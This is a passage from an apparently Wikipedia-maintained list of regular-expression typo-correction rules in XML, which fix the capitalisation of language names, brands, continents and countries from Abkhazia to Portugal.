<Typo word="Latin" find="\blatin(?!-?\d)(as?|is[mt]s?|i[sz](?:e[ds]?|ing)|os?)?\b(?<![gG]uitarra latina)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Latin$1"/>
<Typo word="Navajo" find="\bnava([hj]os?)\b(?![^\s\.]*\.\w)" replace="Nava$1"/>
<Typo word="Ptolem(aic|y)" find="\bptolem(aic|y)\b(?![^\s\.]*\.\w)" replace="Ptolem$1"/>
<Typo word="Sanskrit" find="\b(?:sansk(?:ir?|ri)|Sanskir?)t\b(?![^\s\.]*\.\w)" replace="Sanskrit"/>
<Typo word="Sioux" find="\bsiou(an|x)\b(?![^\s\.]*\.\w)" replace="Siou$1"/>
<Typo word="Tamil" find="\btamil\b(?![^\s\.]*\.\w)" replace="Tamil"/>
<Typo word="Telugu" find="\btelugu\b(?![^\s\.]*\.\w)" replace="Telugu"/>
<Typo word="Tibet(an)" find="\btibet(ans?)?\b(?![^\s\.]*\.\w)" replace="Tibet$1"/>
<Typo word="Urdu" find="\burdu\b(?![^\s\.]*\.\w)" replace="Urdu"/>
<Typo word="Viking" find="\bviking(s)?\b(?![^\s\.]*\.\w)" replace="Viking$1"/>
</source>
====Companies, institutions, and brands====
<source lang="xml">
<Typo word="Disney World" find="\b[dD]isney[wW]orld\b(?![^\s\.]*\.\w)" replace="Disney World"/>
<Typo word="Disneyland (1)" find="\b[dD]isney(?:[−―–—\s]+[lL]|L)and\b(?![^\s\.]*\.\w)" replace="Disneyland"/>
<Typo word="Disney(land) (2)" find="\bdisney(land)?\b(?![^\s\.]*\.\w)" replace="Disney$1"/>
<Typo word="DreamWorks" find="\b[dD]ream(?:-[wW]|w|\sW)orks\b(?![^\s\.]*\.\w)" replace="DreamWorks"/>
<Typo word="Facebook" find="\b(?:face[bB]|FaceB)ook\b(?![^\s\.]*\.\w)" replace="Facebook"/><!--avoid "facebook.com"-->
<Typo word="Firefox" find="\bfirefox\b(?![^\s\.]*\.\w)" replace="Firefox"/>
<Typo word="GameSpot" find="\b[gG]amespot\b(?![^\s\.]*\.\w)" replace="GameSpot"/>
<Typo word="Hachette Book Group" find="\b[hH]atchette\s+[bB]ook\s+[gG]roup\b" replace="Hachette Book Group"/>
<Typo word="Harvard" find="\bharvard\b(?!\.edu\b)(?![^\s\.]*\.\w)" replace="Harvard"/>
<Typo word="IBM" find="\b[iI]bm\b(?![^\s\.]*\.\w)" replace="IBM"/>
<Typo word="iPad/iPod/iPhone" find="\b[iI]p(ads?|hones?|ods?)\b(?![^\s\.]*\.\w)" replace="iP$1"/>
<Typo word="iTunes" find="\b[iI]tunes\b(?![^\s\.]*\.\w)" replace="iTunes"/>
<Typo word="Microsoft" find="\b(?:micros|[mM]ic(?:ors|ro[S\$]))oft\b(?![^\s\.]*\.\w)" replace="Microsoft"/>
<Typo word="Myspace" find="\bmyspace\b(?![^\s\.]*\.\w)" replace="Myspace"/><!--avoid "myspace.com"-->
<Typo word="NASCAR" find="\b[nN]ascar\b(?!\s(?:JF\b|Motorsport\b))(?![^\s\.]*\.\w)" replace="NASCAR"/>
<Typo word="TiVo" find="\b(?:Tiv|ti[vV])o(s?|'s)\b(?![^\s\.]*\.\w)" replace="TiVo$1"/>
<Typo word="YouTube" find="\b(?:you[−―–—\s]?[tT]|You(?:t|-[tT]|\s[tT]))ube\b(?<!</?youtube)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="YouTube"/><!--avoid youtube.com & <youtube></youtube> tags from Wikia-->
</source>
====Continents and subcontinents====
<source lang="xml">
<Typo word="(Ant)Arctic Circle" find="\bA(nta)?rctic\s+circle\b" replace="A$1rctic Circle"/>
<Typo word="Antarctic" find="\bantarc?ticc(a)?\b(?!'')(?![^\s\.]*\.\w)" replace="Antarctic$1"/><!--Arctic dealt with elsewhere; avoid species-->
<Typo word="Africa" find="\bafri(can?s?|ka(?:ans|n?|n(?:da|ers?)))\b(?![^\s\.]*\.\w)" replace="Afri$1"/>
<Typo word="America" find="\b[aA]merc?ic?a(n(?:[as]?|ism))?\b(?<!America[nasim]*)(?<![A-Z][a-z]+(Agave|Anes|Aythya|Borrelia|Certhia|Corylus|Fulica|Grus|Leishmaniasis|Mareca|Martes|Mazama|Monodelphis|Morone|Mycteria|Phytolacca|Rhea|Setophaga|Spirochaeta|Spiza|Submission|Tilia|Ulmus)?\s?\(?americana)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="America$1"/><!--avoid self after merge & species-->
<Typo word="Asia_" find="\bai?sia(ns?|s?|tic)\b(?![^\s\.]*\.\w)" replace="Asia$1"/>
<Typo word="Austral(as)ia" find="\baustral(asian?s?|ian?s?)\b(?![^\s\.]*\.\w)" replace="Austral$1"/>
<Typo word="Central America" find="\bcentral\s*[aA]merica(ns?|s?)\b" replace="Central America$1"/>
<Typo word="Eur(asia/ope)" find="\beur(asia(?:ns?)?|ope(?:ans?)?)\b(?![^\s\.]*\.\w)" replace="Eur$1"/>
<Typo word="North America" find="\bnorth\s*[aA]merica(ns?|s?)\b" replace="North America$1"/>
<Typo word="Panamerica" find="\bpan[aA]merica(n(?:ism|s?)|s?)\b(?![^\s\.]*\.\w)" replace="Panamerica$1"/>
<Typo word="Pan-America" find="\bpan-[aA]merica(n(?:ism|s?)|s?)\b(?![^\s\.]*\.\w)" replace="Pan-America$1"/>
<Typo word="Polynesia" find="\bpolynesia(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Polynesia$1"/>
<Typo word="South America" find="\bsouth\s*[aA]merica(ns?|s?)\b" replace="South America$1"/>
</source>
====Geographical proper names====
<source lang="xml">
<!--Geographical names with capital letters-->
<Typo word="Abkhazia" find="\babkha(s(?:ian?s?)?|zian?s?)\b(?![^\s\.]*\.\w)" replace="Abkha$1"/>
<Typo word="Afghanistan" find="\bafghani(s(?:tan)?)?\b(?![^\s\.]*\.\w)" replace="Afghani$1"/>
<Typo word="Akro(n/tiri)" find="\bakro(n|tiri)\b(?![^\s\.]*\.\w)" replace="Akro$1"/>
<Typo word="Åland(ish)" find="\b[aåA]land(ish)?\b(?![^\s\.]*\.\w)" replace="Åland$1"/>
<Typo word="Albania" find="\balbania(ns?)?\b(?![^\s\.]*\.\w)" replace="Albania$1"/>
<Typo word="Algeria" find="\balgeri(an?s?|e)\b(?![^\s\.]*\.\w)" replace="Algeri$1"/>
<Typo word="Andorra" find="\bandor+a(ns?)?\b(?![^\s\.]*\.\w)" replace="Andorra$1"/>
<Typo word="Angola" find="\bangoli?a(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Angola$1"/>
<Typo word="Anguilla" find="\banguil+a(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Anguilla$1"/>
<Typo word="Anti(gua/lles)" find="\banti(guan?s?|lles)\b(?![^\s\.]*\.\w)" replace="Anti$1"/>
<Typo word="Greater Antilles" find="\bgreater\s+[aA]ntil{1,3}es\b" replace="Greater Antilles"/>
<Typo word="Lesser Antilles" find="\bles+er\s+[aA]ntil{1,3}es\b" replace="Lesser Antilles"/>
<Typo word="Arabia" find="\b[aA]rai?b(an?s?|ia?n?s?|ns?|s?)\b(?![^\s\.]*\.\w)" replace="Arab$1"/>
<Typo word="Argentina" find="\bargentin(a|e(?:ans?|s?))\b(?!'')(?![^\s\.]*\.\w)" replace="Argentin$1"/><!--avoid species-->
<Typo word="Armenia" find="\barmenia(ns?)?\b(?![^\s\.]*\.\w)" replace="Armenia$1"/>
<Typo word="Aruba" find="\baruba(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Aruba$1"/>
<Typo word="Ascension Island" find="\bascension island\b" replace="Ascension Island"/>
<Typo word="Austr-" find="\baustr(al|ones)?ia(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Austr$1ia$2"/>
<Typo word="Azer-" find="\bazer(baijan(?:is?)?|(?:is?)?)\b(?![^\s\.]*\.\w)" replace="Azer$1"/>
<Typo word="Babylon(ia)" find="\bbab[iy]lon(ian?s?)?\b(?![^\s\.]*\.\w)" replace="Babylon$1"/>
<Typo word="Bahamas" find="\bbaham+(an?s?|ians?)\b(?![^\s\.]*\.\w)" replace="Baham$1"/>
<Typo word="Bahrain" find="\bbahrain(ians?)?\b(?![^\s\.]*\.\w)" replace="Bahrain$1"/>
<Typo word="Bangladesh" find="\bbangl[ae]desh(i)?\b(?![^\s\.]*\.\w)" replace="Bangladesh$1"/>
<Typo word="Barbados" find="\bbarbad(ians?|os)\b(?![^\s\.]*\.\w)" replace="Barbad$1"/>
<Typo word="Barbuda/Bermuda" find="\bb(arb|erm)ud(an?s?|ian?s?)\b(?![^\s\.]*\.\w)" replace="B$1ud$2"/>
<Typo word="Basutoland" find="\bbasutoland\b(?![^\s\.]*\.\w)" replace="Basutoland"/>
<Typo word="Bei(jing/rut)" find="\bbei(jing|rut)\b(?![^\s\.]*\.\w)" replace="Bei$1"/>
<Typo word="Bel(arus/gium/ize)" find="\bbel(arus(?:ians?|sians?)?|gi(?:ans?|um)|iz(?:e|ians?))\b(?![^\s\.]*\.\w)" replace="Bel$1"/>
<Typo word="Benin" find="\bbenin(ians?)?\b(?![^\s\.]*\.\w)" replace="Benin$1"/>
<Typo word="Bhutan" find="\bbhutan(ians?)?\b(?![^\s\.]*\.\w)" replace="Bhutan$1"/>
<Typo word="Bolivia/Bosnia" find="\bbo(liv|sn)ia(ns?)?\b(?![^\s\.]*\.\w)" replace="Bo$1ia$2"/>
<Typo word="Botswana (1)" find="\b[bB]o(?:stwa|tswan)na(ns?|s?)\b" replace="Botswana$1"/>
<Typo word="Botswana (2)" find="\bbotswana(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Botswana$1"/>
<Typo word="Brazil" find="\bbrazill?(ians?)?\b(?![^\s\.]*\.\w)" replace="Brazil$1"/>
<Typo word="Brunei" find="\bbrunei(?<![tT]ryonia\s+brunei)\b(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Brunei"/>
<Typo word="Bulgar(ia)" find="\bbulgar(ian?s?)?\b(?![^\s\.]*\.\w)" replace="Bulgar$1"/>
<Typo word="Burkina Faso" find="\b[bB]urkina\s*(?:fas+|Fass)o\b" replace="Burkina Faso"/>
<Typo word="Bur(kina/ma/undi)" find="\bbur(kina|m(?:a|ese)|urundi(?:ans?)?)\b(?![^\s\.]*\.\w)" replace="Bur$1"/>
<Typo word="Byzantine" find="\bbyzant?ti(nes?|um)\b(?![^\s\.]*\.\w)" replace="Byzanti$1"/>
<Typo word="Cambodia" find="\bcambodia(ns?)?\b(?![^\s\.]*\.\w)" replace="Cambodia$1"/>
<Typo word="Cameroon" find="\bcameroon\b(?![^\s\.]*\.\w)" replace="Cameroon"/>
<Typo word="Cameroonian" find="\bcamero+nian(s)?\b(?![^\s\.]*\.\w)" replace="Cameroonian$1"/>
<Typo word="Canada" find="\bcanad(a|i[ae]n[as]?)\b(?<!canadien)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Canad$1"/>
<Typo word="Cape Verde" find="\b[cC]ape\s*verde\b(?![^\s\.]*\.\w)" replace="Cape Verde"/>
<Typo word="Cayman Islands" find="\b[cC]ayman islands\b" replace="Cayman Islands"/>
<Typo word="Central African Republic" find="\b[cC]entral\s+[aA]frican\s+republic\b" replace="Central African Republic"/>
<Typo word="Chadian" find="\bchadian(s)?\b(?![^\s\.]*\.\w)" replace="Chadian$1"/>
<Typo word="Chilean" find="\bchil+[ei]an(s)?\b(?![^\s\.]*\.\w)" replace="Chilean$1"/>
<Typo word="Chinese" find="\bchin+es+e\b(?![^\s\.]*\.\w)" replace="Chinese"/>
<Typo word="Christmas Island" find="\b[cC]hristmas\s+island\b" replace="Christmas Island"/>
<Typo word="Col(o/u)mbia" find="\bcol([ou])mbia(ns?)?\b(?![^\s\.]*\.\w)" replace="Col$1mbia$2"/>
<Typo word="Comoros" find="\bcomoros\b(?![^\s\.]*\.\w)" replace="Comoros"/>
<Typo word="Congo" find="\bcong(ans?|o)\b(?![^\s\.]*\.\w)" replace="Cong$1"/>
<Typo word="Cook Islands" find="\b[cC]ook\s*islands\b" replace="Cook Islands"/>
<Typo word="Corsica" find="\bcorsica(ns?)?\b(?<!\b\p{Lu}\.\s+corsica)(?!'')(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Corsica$1"/>
<Typo word="Costa Rica" find="\b[cC]osta\s*rica(ns?)?\b" replace="Costa Rica$1"/>
<Typo word="Côte d'Ivoire (1)" find="\bC(?:ote\s+[dD][´ˈ׳᾿‘’′Ꞌꞌ`'][iI]|ôte\s+(?:D[´ˈ׳᾿‘’′Ꞌꞌ`'][iI]|[dD](?:[´ˈ׳᾿‘’′Ꞌꞌ`][iI]|[´ˈ׳᾿‘’′Ꞌꞌ`']i)))voire\b" replace="Côte d'Ivoire"/>
<Typo word="Côte d'Ivoire (2)" find="\bc[oô]te\s+d[´ˈ׳᾿‘’′Ꞌꞌ`'][iI]voire\b" replace="Côte d'Ivoire"/>
<Typo word="Crete" find="\bcret(ans?|e)\b(?![^\s\.]*\.\w)" replace="Cret$1"/>
<Typo word="Croatia" find="\bcroat(ia(?:ns?)?|s?)\b(?![^\s\.]*\.\w)" replace="Croat$1"/>
<Typo word="Cuba_" find="\bcuba(ns?)?(?!\s+prime)\b(?![^\s\.]*\.\w)" replace="Cuba$1"/>
<Typo word="Cyprus" find="\bc[iy]pr(iots?|us)\b(?![^\s\.]*\.\w)" replace="Cypr$1"/>
<Typo word="Czech Republic" find="\bczec[hk]\s*[rR]epublic\b" replace="Czech Republic"/>
<Typo word="Dahomey" find="\bdahomey\b(?![^\s\.]*\.\w)" replace="Dahomey"/>
<Typo word="Danish" find="\bdan+ish\b(?![^\s\.]*\.\w)" replace="Danish"/>
<Typo word="Democratic People's Republic of Korea" find="\b[dD]emocratic\s*people[´ˈ׳᾿‘’′Ꞌꞌ`;']?s\s*republic\s*of\s*[kK]orea\b" replace="Democratic People's Republic of Korea"/>
<Typo word="Democratic Republic of Congo" find="\b[dD]emocratic\s+republic\s+of\s+[cC]ongo\b" replace="Democratic Republic of Congo"/>
<Typo word="Denmark" find="\bdenmark\b(?![^\s\.]*\.\w)" replace="Denmark"/>
<Typo word="Dhekelia" find="\bdhekelia(ns?)?\b(?![^\s\.]*\.\w)" replace="Dhekelia$1"/>
<Typo word="Djibouti" find="\bdjibouti\b(?![^\s\.]*\.\w)" replace="Djibouti"/>
<Typo word="Dominica" find="\bdomin+ici?a(ns?)?\b(?!'')(?![^\s\.]*\.\w)" replace="Dominica$1"/><!--avoid species-->
<Typo word="Dominican Republic" find="\bdominican\s*[rR]epublic\b" replace="Dominican Republic"/>
<Typo word="East Timor" find="\beast\s*timor\b" replace="East Timor"/>
<Typo word="Ecuador" find="\becua?d{1,3}or(ians?)?\b(?![^\s\.]*\.\w)" replace="Ecuador$1"/>
<Typo word="Egypt" find="\beg[iy]pt(ians?)?\b(?![^\s\.]*\.\w)" replace="Egypt$1"/>
<Typo word="El Salvador" find="\bel\s*[sS]alvadorr?(ians?)?\b" replace="El Salvador$1"/>
<Typo word="Equatorial Guinea" find="\bequatorial\s*[gG]uinea\b" replace="Equatorial Guinea"/>
<Typo word="Eritrea" find="\beritrea(ns?)?\b(?![^\s\.]*\.\w)" replace="Eritrea$1"/>
<Typo word="Estonia" find="\bestonia(ns?)?\b(?![^\s\.]*\.\w)" replace="Estonia$1"/>
<Typo word="Ethiopia" find="\beth[ei]opia(ns?)?\b(?![^\s\.]*\.\w)" replace="Ethiopia$1"/>
<Typo word="Falkland Islands" find="\b[fF]au?lkland\s*islands\b" replace="Falkland Islands"/>
<Typo word="Falkland" find="\bfau?lkland(s)?\b(?![^\s\.]*\.\w)" replace="Falkland$1"/>
<Typo word="Faroe Islands" find="\b[fF]aroe\s*islands\b" replace="Faroe Islands"/>
<Typo word="Fehnerbaçe" find="\b(?:fehnerba[cç]|Fehnerbac)e\b(?![^\s\.]*\.\w)" replace="Fehnerbahçe"/>
<Typo word="Fiji" find="\bfiji(ans?)?\b(?![^\s\.]*\.\w)" replace="Fiji$1"/>
<Typo word="Filipino" find="\b(?:fil+ip+inoe?|Filipinoe|[pP]hil+ip+inoe?)(s)?\b(?![^\s\.]*\.\w)" replace="Filipino$1"/>
<Typo word="Finland" find="\bfin(land(?:ia)?|nish)\b(?![^\s\.]*\.\w)" replace="Fin$1"/>
<Typo word="France" find="\bfrance\b(?![^\s\.]*\.\w)" replace="France"/>
<Typo word="French Polynesia" find="\b[fF]rench\s*polynesia\b" replace="French Polynesia"/>
<Typo word="Gabon" find="\bgabon\b(?![^\s\.]*\.\w)" replace="Gabon"/>
<Typo word="Gambia" find="\bgambia(ns?)?\b(?![^\s\.]*\.\w)" replace="Gambia$1"/>
<Typo word="Georgia" find="\b[gG]eorgia(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Georgia$1"/>
<Typo word="Germany" find="\bgerman(i(?:c|s(?:e[drs]?|[mt]s?)|ze[drs]?)|[sy]?)\b(?<!cousin[−―–—\s]german)" replace="German$1"/><!--avoid [[wikt:cousin-german]]-->
<Typo word="Ghana" find="\bghan(a(?:ians?|ns?|s?))\b(?![^\s\.]*\.\w)" replace="Ghan$1"/>
<Typo word="Gibraltar" find="\bgibraltar(ians?)?\b(?![^\s\.]*\.\w)" replace="Gibraltar$1"/>
<Typo word="Greece" find="\bgre(cian|e(?:ce|ks?))\b(?![^\s\.]*\.\w)" replace="Gre$1"/>
<Typo word="Greenland" find="\bgreenland(ers?|ic)?\b(?![^\s\.]*\.\w)" replace="Greenland$1"/>
<Typo word="Grenad(a/ines)" find="\bgrenad(an?s?|ines)\b(?![^\s\.]*\.\w)" replace="Grenad$1"/>
<Typo word="Guatemala (2)" find="\b[gG]uatamala(ns?)?\b" replace="Guatemala$1"/>
<Typo word="Guatemala (1)" find="\bguatemala(ns?)?\b(?![^\s\.]*\.\w)" replace="Guatemala$1"/>
<Typo word="Guinea-Bissau" find="\b[gG]uinea-bissau\b(?![^\s\.]*\.\w)" replace="Guinea-Bissau"/>
<Typo word="Guinean" find="\bguinean(s)?\b(?![^\s\.]*\.\w)" replace="Guinean$1"/>
<Typo word="Guyana" find="\bguyana(ns?)?\b(?![^\s\.]*\.\w)" replace="Guyana$1"/>
<Typo word="Haiti" find="\bhaiti(ans?)?\b(?![^\s\.]*\.\w)" replace="Haiti$1"/>
<Typo word="Herzegovina (1)" find="\bherzegovin(a|ians?)\b(?![^\s\.]*\.\w)" replace="Herzegovin$1"/>
<Typo word="Herzegovina (2)" find="\b[hH]erz(?:agovin|egovi?ni)a\b(?![^\s\.]*\.\w)" replace="Herzegovina"/>
<Typo word="Honduras" find="\bhondura(ns?|s?)\b(?![^\s\.]*\.\w)" replace="Hondura$1"/>
<Typo disabled="Hong Kong_" find="\b(?!Hongkong [lL]and\b)[hH]ong[−―–—\s]*kong\b" replace="Hong Kong"/><!--avoid [[Hongkong Land]]-->
<Typo word="Hungary" find="\bhungar(ians?|y)\b(?![^\s\.]*\.\w)" replace="Hungar$1"/>
<Typo word="I(c/r)eland" find="\bi([cr])eland(ers?)?\b(?![^\s\.]*\.\w)" replace="I$1eland$2"/>
<Typo word="Icelandic" find="\biceland(ic)?\b(?![^\s\.]*\.\w)" replace="Iceland$1"/>
<Typo word="India" find="\bindia(ns?|s?)\b(?![−―–—\s]rubber)" replace="India$1"/><!--avoid india rubber-->
<Typo word="Indonesia" find="\bindonesia(ns?)?\b(?<!indonesia(ns?)?)(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Indonesia$1"/>
<Typo word="Ira(n/q)_" find="\bira(n(?:ians?)?|qi?s?)\b(?<!Ira(n(?:ians?)?|qi?s?))(?![^\s\.]*\.\w)(?<!\.[^\s\.]{0,999})" replace="Ira$1"/>
<Typo word="Islas Malvinas" find="\bislas\s+[mM]alvinas\b" replace="Islas Malvinas"/>
<Typo word="Italy" find="\bital+(ian?s?|y)\b(?![^\s\.]*\.\w)" replace="Ital$1"/>
<Typo word="Ivory Coast" find="\b[iI]vory\s*coast\b" replace="Ivory Coast"/>
<Typo word="Jamaica" find="\bjam+ai?ca(ns?)?\b(?![^\s\.]*\.\w)" replace="Jamaica$1"/>
<Typo word="Japan" find="\bjapan\b(?![^\s\.]*\.\w)" replace="Japan"/>
<Typo word="Japanese (1)" find="\b[jJ]ap(?:an(?:es|see)|enese)\b" replace="Japanese"/>
<Typo word="Japanese (2)" find="\bjapan+es+e\b(?![^\s\.]*\.\w)" replace="Japanese"/>
<Typo word="Jordan" find="\bjordan(ians?)?\b(?![^\s\.]*\.\w)" replace="Jordan$1"/>
<Typo word="Kazak(h)" find="\bka[sz]ak(hs?|s?)\b(?![^\s\.]*\.\w)" replace="Kazak$1"/>
<Typo word="Kazakhstan (1)" find="\b[kK]azah?kstan(is?)?\b" replace="Kazakhstan$1"/>
<Typo word="Kazakhstan (2)" find="\bka[sz]akh?stan\b(?![^\s\.]*\.\w)" replace="Kazakhstan"/>
<Typo word="Kenya" find="\bkenya(ns?)?\b(?![^\s\.]*\.\w)" replace="Kenya$1"/>
<Typo word="Kirg(h)iz(stan/ia)" find="\bkirg(h)?iz(ia|stan)?\b(?![^\s\.]*\.\w)" replace="Kirg$1iz$2"/>
<Typo word="Kiribati" find="\bkiribati(ans?)?\b(?![^\s\.]*\.\w)" replace="Kiribati$1"/>
<Typo word="Korea" find="\bkorea(ns?)?\b(?![^\s\.]*\.\w)" replace="Korea$1"/>
<Typo word="Kosovo" find="\bkos+ov(ans?|o)\b(?![^\s\.]*\.\w)" replace="Kosov$1"/>
<Typo word="Kuwait" find="\bkuwait(is?)?\b(?![^\s\.]*\.\w)" replace="Kuwait$1"/>
<Typo word="Kyrgyzstan" find="\b(?:Kyrgy|kyrgyz)stan(ians?)?\b(?![^\s\.]*\.\w)" replace="Kyrgyzstan$1"/>
<Typo word="Laos" find="\blao(s|tians?)\b(?![^\s\.]*\.\w)" replace="Lao$1"/>
<Typo word="Latvia" find="\blatvia(ns?)?\b(?![^\s\.]*\.\w)" replace="Latvia$1"/>
<Typo word="Lebanese" find="\bleb[ae]n?nes+e\b(?![^\s\.]*\.\w)" replace="Lebanese"/>
<Typo word="Lebanon" find="\bleb[ae]n(ese|on)\b(?![^\s\.]*\.\w)" replace="Leban$1"/>
<Typo word="Lesotho" find="\blesoth(ans?|o)\b(?![^\s\.]*\.\w)" replace="Lesoth$1"/>
<Typo word="Liberia" find="\bliberia(ns?)?\b(?![^\s\.]*\.\w)" replace="Liberia$1"/>
<Typo word="Libya (1)" find="\b[lL]ybia(ns?)?\b" replace="Libya$1"/>
<Typo word="Libya (2)" find="\blib[iy]a(ns?)?\b(?![^\s\.]*\.\w)" replace="Libya$1"/>
<Typo word="Liechtenstein" find="\bliechtenstein\b(?![^\s\.]*\.\w)" replace="Liechtenstein"/>
<Typo word="Lithuania" find="\blithuania(ns?)?\b(?![^\s\.]*\.\w)" replace="Lithuania$1"/>
<Typo word="Luxembourg" find="\bluxembourg\b(?![^\s\.]*\.\w)" replace="Luxembourg"/>
<Typo word="Maca(o/u)" find="\bmaca([ou])\b(?![^\s\.]*\.\w)" replace="Maca$1"/>
<Typo word="Macedon" find="\bmac[ae]don(ian?s?)?\b(?![^\s\.]*\.\w)" replace="Macedon$1"/>
<Typo word="Madagascar" find="\bmad[ae]gasca(ns?|r)\b(?![^\s\.]*\.\w)" replace="Madagasca$1"/>
<Typo word="Malawi" find="\bmal+awi(ans?)?\b(?![^\s\.]*\.\w)" replace="Malawi$1"/>
<Typo word="Malay(sia)" find="\bmal+ay(a(?:l(?:am|i)|ns?|s?)|s?|sian?s?)\b(?![^\s\.]*\.\w)" replace="Malay$1"/>
<Typo word="Maldives" find="\bmald[ei]v(es|ians?)\b(?![^\s\.]*\.\w)" replace="Maldiv$1"/>
<Typo word="Mali" find="\bmali\b(?![^\s\.]*\.\w)" replace="Mali"/>
<Typo word="Malta" find="\bmal+t(a|ese)\b(?![^\s\.]*\.\w)" replace="Malt$1"/>
<Typo word="Marshall Islands" find="\b[mM]arshal+\s+islands\b" replace="Marshall Islands"/>
<Typo word="Mauritania" find="\bmauritania(ns?)?\b(?![^\s\.]*\.\w)" replace="Mauritania$1"/>
<Typo word="Mauritius" find="\bmauriti(ans?|us)\b(?![^\s\.]*\.\w)" replace="Mauriti$1"/>
<Typo word="Mayotte" find="\bmayotte\b(?![^\s\.]*\.\w)" replace="Mayotte"/>
<Typo word="Mexico" find="\bmexic(ans?|o)\b(?![^\s\.]*\.\w)" replace="Mexic$1"/>
<Typo word="Micronesia" find="\bmicronesia(ns?)?\b(?![^\s\.]*\.\w)" replace="Micronesia$1"/>
<Typo word="Moldova" find="\bmoldova(ns?)?\b(?![^\s\.]*\.\w)" replace="Moldova$1"/>
<Typo word="Monaco" find="\bmon(ac(?:ans?|o)|egasques?)\b(?![^\s\.]*\.\w)" replace="Mon$1"/>
<Typo word="Mongolia" find="\bmongol+(ian?s?|s?)\b(?![^\s\.]*\.\w)" replace="Mongol$1"/>
<Typo word="Montenegro" find="\bmontenegr(ans?|o)\b(?![^\s\.]*\.\w)" replace="Montenegr$1"/>
<Typo word="Montserrat" find="\b(?:mont?ser+|Montser)at(i)?\b(?![^\s\.]*\.\w)" replace="Montserrat$1"/><!--avoid name Monserrat-->
<Typo word="Morocco (2)" find="\b([mM])or(?:o|roc?)c(ans?|o)\b" replace="$1orocc$2"/>
<Typo word="Morocco (1)" find="\bmor+oc+(ans?|o)\b(?![^\s\.]*\.\w)" replace="Morocc$1"/>
<Typo word="Mozambique" find="\bmozambique\b(?![^\s\.]*\.\w)" replace="Mozambique"/>
<Typo word="Myanmar" find="\bmyanmar\b(?![^\s\.]*\.\w)" replace="Myanmar"/>
<Typo word="Nagorno-Karabakh" find="\b[nN]agorno-karabakh\b(?![^\s\.]*\.\w)" replace="Nagorno-Karabakh"/>
<Typo word="Namibia" find="\bnamibia(ns?)?\b(?![^\s\.]*\.\w)" replace="Namibia$1"/>
<Typo word="Nauru" find="\bnauru\b(?![^\s\.]*\.\w)" replace="Nauru"/>
<Typo word="Nepal" find="\bnepal\b(?![^\s\.]*\.\w)" replace="Nepal"/>
<Typo word="Nepalese" find="\bnep[ae]l?les?se\b(?![^\s\.]*\.\w)" replace="Nepalese"/>
<Typo word="Netherlands" find="\bnetherlands\b(?![^\s\.]*\.\w)" replace="Netherlands"/>
<Typo word="New Caledonia" find="\b[nN]ew\s+caledonia(ns?)?\b" replace="New Caledonia$1"/>
<Typo word="New Zealand" find="\b[nN]ew\s+(?:zea|Ze)land(ers?)?\b" replace="New Zealand$1"/>
<Typo word="Nicaragua" find="\bnicaragua(ns?)?\b(?![^\s\.]*\.\w)" replace="Nicaragua$1"/>
<Typo word="Niger(ia)" find="\bniger(i[ae]n?s?|ois|\b(?!''))\b(?![^\s\.]*\.\w)" replace="Niger$1"/><!--avoid species-->
<Typo word="Niue" find="\bniue\b(?![^\s\.]*\.\w)" replace="Niue"/>
<Typo word="Norfolk Island" find="\b[nN]orfolk\s+island\b" replace="Norfolk Island"/>
<Typo word="North Korea" find="\bnorth\s+korea(ns?)?\b" replace="North Korea$1"/>
<Typo word="Northern Cyprus" find="\bnorthern cyprus\b" replace="Northern Cyprus"/>
<Typo word="Northern Mariana Islands" find="\bnorthern\s+[mM]ariana\s+islands\b" replace="Northern Mariana Islands"/>
<Typo word="Nor(way/wegian/se/man(dy)/folk)" find="\bnor(dic|folk|man(?:dy|s?)|se(?:m[ae]n|wom[ae]n)?|w(?:ay|egians?))\b(?![^\s\.]*\.\w)" replace="Nor$1"/>
<Typo word="Oman" find="\boma(ni?s?)\b(?![^\s\.]*\.\w)" replace="Oma$1"/>
<Typo word="Ottoman Empire" find="\b[oO]tt?om[ae]n\s+empire\b" replace="Ottoman Empire"/>
<Typo word="Pakistan" find="\bpakistan(is?|s?)\b(?![^\s\.]*\.\w)" replace="Pakistan$1"/>
<Typo word="Palau" find="\bpalau\b(?![^\s\.]*\.\w)" replace="Palau"/>
<Typo word="Palestine" find="\b(?:p(?:al[ei])|Pali)stin(e|ians?)\b(?![^\s\.]*\.\w)" replace="Palestin$1"/>
<Typo word="Palestinian" find="\b[pP]al[ei]stian(s)?\b(?![^\s\.]*\.\w)" replace="Palestinian$1"/>
<Typo word="Panama" find="\bpanam+a(nians?)?\b(?![^\s\.]*\.\w)" replace="Panama$1"/>
<Typo word="Papua New Guinea" find="\b[pP]apua new [gG]uinea\b" replace="Papua New Guinea"/>
<Typo word="Paraguay" find="\bparagua[iy](ans?)?\b(?![^\s\.]*\.\w)" replace="Paraguay$1"/>
<Typo word="People's Republic of China" find="\b[pP]eople[´ˈ׳᾿‘’′Ꞌꞌ`']s\s+republic\s+of\s+[cC]hina\b" replace="People's Republic of China"/>
<Typo word="Per(sia/u)" find="\bper(sian?s?|u(?:vians?)?)\b(?![^\s\.]*\.\w)" replace="Per$1"/>
<Typo word="Philippin(e/o)" find="\bphil?lip?pino([eo]s?)\b(?![^\s\.]*\.\w)" replace="Philippin$1"/>
<Typo word="Philippine" find="\b(?:phil+ip+|Phil+ip)ine(s)?\b(?![^\s\.]*\.\w)" replace="Philippine$1"/>
<Typo word="Pitcairn Islands" find="\b[pP]itcairn\s+islands\b" replace="Pitcairn Islands"/>
<Typo word="Poland" find="\bpoland\b(?![^\s\.]*\.\w)" replace="Poland"/>
<Typo word="Portugal (3)" find="\bPort(?:gu?a|u(?:ag|gua))l+\b" replace="Portugal"/>
<Typo word="Portugal (1)" find="\b[pP]ortugual\b" replace="Portugal"/>
<Typo word="Portugal (2)" find="\bportugal\b(?![^\s\.]*\.\w)" replace="Portugal"/>
